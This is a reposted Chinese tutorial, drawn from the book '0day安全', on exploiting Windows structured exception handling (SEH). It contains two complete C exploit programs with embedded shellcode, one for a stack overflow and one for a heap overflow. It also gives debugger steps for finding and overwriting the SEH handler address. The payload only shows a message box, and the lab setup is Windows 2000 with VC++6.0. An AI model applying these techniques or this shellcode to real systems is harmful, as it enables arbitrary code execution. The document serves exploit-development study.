《0day安全》——狙击Windows异常处理机制(SEH)

2024-02-20 01:38

本文主要是介绍《0day安全》——狙击Windows异常处理机制(SEH),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SEH的异常处理模型主要由__try __except语句来完成,与标准的try catch相似。


在栈溢出中利用SEH

#include "stdafx.h"
#include "stdio.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";
void MyExceptionhandler(void)
{printf("got an execption, press Enter to kill process\n");getchar();ExitProcess(1);
}void test(char * input)
{char buf[200];int zero = 0;//__asm int 3__try{strcpy(buf, input);zero = 5 / zero;}__except(MyExceptionhandler()){}
}
int main()
{test(shellcode);return 0;
}

对代码简要解释:
 1.函数 test 中存在典型的栈溢出漏洞。
 2.__try{}会在 test 的函数栈帧中安装一个 SEH 结构。
 3.__try 中的除零操作会产生一个异常。
 4.当 strcpy 操作没有产生溢出时,除零操作的异常将最终被 MyExceptionhandler 函数处理。
 5.当 strcpy 操作产生溢出,并精确地将栈帧中的 SEH 异常处理句柄修改为 shellcode 的入口地址时,操作系统将会错误地使用shellcode 去处理除零异常,也就是说,代码植入成功。
 6.此外,异常处理机制与堆分配机制类似,会检测进程是否处于调试状态。如果直接使用调试器加载程序,异常处理会进入调试状态下的处理流程。因此,我们这里同样采用直接在代码中加入断点_asm int 3,让进程自动中断后再用调试器 attach 的方法进行调试。

这个实验的关键在于确定栈帧中 S.E.H 回调句柄的偏移,然后布置缓冲区,精确地淹没这个位置,将该句柄修改为 shellcode 的起始位置。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

调试看看,停在test函数的int3处,先看看前一些的代码,首先会在test函数的栈帧中安装一个SEH结构。其实就是先将我们自定义的异常处理的函数的首地址压入栈,将最上面的也压入栈,更新最上面的SEH的值。
在这里插入图片描述
观察strcpy和除以0实现
在这里插入图片描述
在字符串复制操作完毕后,数组中的 0x90 能够帮我们在调试器中轻易地确定 shellcode 的起始位置 0x0012FE98
在这里插入图片描述
OllyDbg 当前线程一共安装了 3 个 SEH,离栈顶最近的位于 0x0012FF68,如果在当前函数内发生异常,首先使用的将是这个 SEH。
在这里插入图片描述
剩下的工作就是组织缓冲区,把 0x0012FF6C 处的回调句柄修改成 shellcode 的起始地址0x0012FE98。
缓冲区起始地址 0x0012FE98 与异常句柄 0x0012FF6C 之间共有 212 个字节的间隙,也就是说,超出缓冲区 12 个字节后的部分将覆盖 SEH。
仍然使用弹出“ sunrsunr”消息框的 shellcode 进行测试,将不足 212 字节的部分用 0x90 字节补齐;213~216 字节使用0x0012FE98 填充,用于更改异常回调函数的句柄;最后删去代码中的中断指令_asm int 3。

在这里插入图片描述
成功


在堆溢出中利用SEH

#include "stdafx.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"// 0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug 
"\x30\xFF\x12\x00";//target of DWORD SHOOT
void MyExceptionhandler(void)
{
ExitProcess(1);
}
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means
__asm int 3 // uesd to break the process
__try
{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
}
__except(MyExceptionhandler()){}
return 0;
}

对代码简要解释:
 1.溢出第一个堆块的数据将写入后面的空闲堆块,在第二次堆分配时发生 DWORDSHOOT。
 2.将 S.E.H 的异常回调函数地址作为 DWORD SHOOT 的目标,将其替换为 shellcode 的入口地址,异常发生后,操作系统将错误地把 shellcode 当作异常处理函数而执行。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

除了 DWORD SHOOT 的 target 不一样之外,缓冲区内其余的数据都和前面讲代码植入一样。首先,我们把最后 4 个字节的target 设置为 0x90909090,这显然是一个无效的内存地址,因此会触发异常。我们所需要做的就是在程序运行时,找到 SEH 的位置,然后把 DWORD SHOOT 的 target 指向 S.E.H 的回调句柄。
首先应当确认 OllyDbg 能够捕捉所有的异常,方法是查看菜单“options”下的“debugging option”中“ Exceptions”选项中没有忽略任何类型的异常。
在这里插入图片描述
然后按照实验要求将代码编译运行,程序会自动中断,使用 OllyDbg attach 到进程上,直接按 F9 键继续执行。
DWORD SHO OT 发生后,程序产生异常。 OllyDbg 捕捉到异常后会自动中断。
在这里插入图片描述
这时查看栈中的 SEH 情况,发现离第一个 SEH 位于 0x0012FF2C 的地方,那么异常回调函数的句柄应该位于这个地址后 4 个字节的位置 0x0012FF30。现在,将 DWORD SHOOT 的目标地址由 0x90909090 改为0x0012FF30,去掉程序中的中断指令,重新编译运行。在这里插入图片描述

消息框成功的弹出,证明 shellcode 得到了执行。在这里插入图片描述


异常处理流程的总结

 1.CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。
 2.内核异常处理结束,将控制权还给 ring3。
 3.ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()函数。
 4.KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
 5.在非调试状态下, KiUserExceptionDispatcher()调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
 6.如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。
 7.如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。 U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。
 以上就是 Windows 异常处理的基本流程。需要额外注意的是,这个流程是基于 Windows2000 平 台 的 , Windows XP 及 其 以 后 的 操 作 系 统 的 异 常 处 理 流 程 大 致 相 同 , 只 是KiUserExceptionDispatcher()在遍历栈帧中的 S.E.H 之前,会去先尝试一种新加入的异常处理类型 V.E.H( Vectored Exception Handling)。

这篇关于《0day安全》——狙击Windows异常处理机制(SEH)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/726652

相关文章

Python使用vllm处理多模态数据的预处理技巧

《Python使用vllm处理多模态数据的预处理技巧》本文深入探讨了在Python环境下使用vLLM处理多模态数据的预处理技巧,我们将从基础概念出发,详细讲解文本、图像、音频等多模态数据的预处理方法,... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

Spring Boot @RestControllerAdvice全局异常处理最佳实践

《SpringBoot@RestControllerAdvice全局异常处理最佳实践》本文详解SpringBoot中通过@RestControllerAdvice实现全局异常处理,强调代码复用、统... 目录前言一、为什么要使用全局异常处理?二、核心注解解析1. @RestControllerAdvice2

Spring事务传播机制最佳实践

《Spring事务传播机制最佳实践》Spring的事务传播机制为我们提供了优雅的解决方案,本文将带您深入理解这一机制,掌握不同场景下的最佳实践,感兴趣的朋友一起看看吧... 目录1. 什么是事务传播行为2. Spring支持的七种事务传播行为2.1 REQUIRED(默认)2.2 SUPPORTS2

Java进程异常故障定位及排查过程

《Java进程异常故障定位及排查过程》:本文主要介绍Java进程异常故障定位及排查过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、故障发现与初步判断1. 监控系统告警2. 日志初步分析二、核心排查工具与步骤1. 进程状态检查2. CPU 飙升问题3. 内存

Java 线程安全与 volatile与单例模式问题及解决方案

《Java线程安全与volatile与单例模式问题及解决方案》文章主要讲解线程安全问题的五个成因(调度随机、变量修改、非原子操作、内存可见性、指令重排序)及解决方案,强调使用volatile关键字... 目录什么是线程安全线程安全问题的产生与解决方案线程的调度是随机的多个线程对同一个变量进行修改线程的修改操

MySQL中的锁机制详解之全局锁,表级锁,行级锁

《MySQL中的锁机制详解之全局锁,表级锁,行级锁》MySQL锁机制通过全局、表级、行级锁控制并发,保障数据一致性与隔离性,全局锁适用于全库备份,表级锁适合读多写少场景,行级锁(InnoDB)实现高并... 目录一、锁机制基础:从并发问题到锁分类1.1 并发访问的三大问题1.2 锁的核心作用1.3 锁粒度分

Redis的持久化之RDB和AOF机制详解

《Redis的持久化之RDB和AOF机制详解》:本文主要介绍Redis的持久化之RDB和AOF机制,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录概述RDB(Redis Database)核心原理触发方式手动触发自动触发AOF(Append-Only File)核

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

javax.net.ssl.SSLHandshakeException:异常原因及解决方案

《javax.net.ssl.SSLHandshakeException:异常原因及解决方案》javax.net.ssl.SSLHandshakeException是一个SSL握手异常,通常在建立SS... 目录报错原因在程序中绕过服务器的安全验证注意点最后多说一句报错原因一般出现这种问题是因为目标服务器

在Windows上使用qemu安装ubuntu24.04服务器的详细指南

《在Windows上使用qemu安装ubuntu24.04服务器的详细指南》本文介绍了在Windows上使用QEMU安装Ubuntu24.04的全流程:安装QEMU、准备ISO镜像、创建虚拟磁盘、配置... 目录1. 安装QEMU环境2. 准备Ubuntu 24.04镜像3. 启动QEMU安装Ubuntu4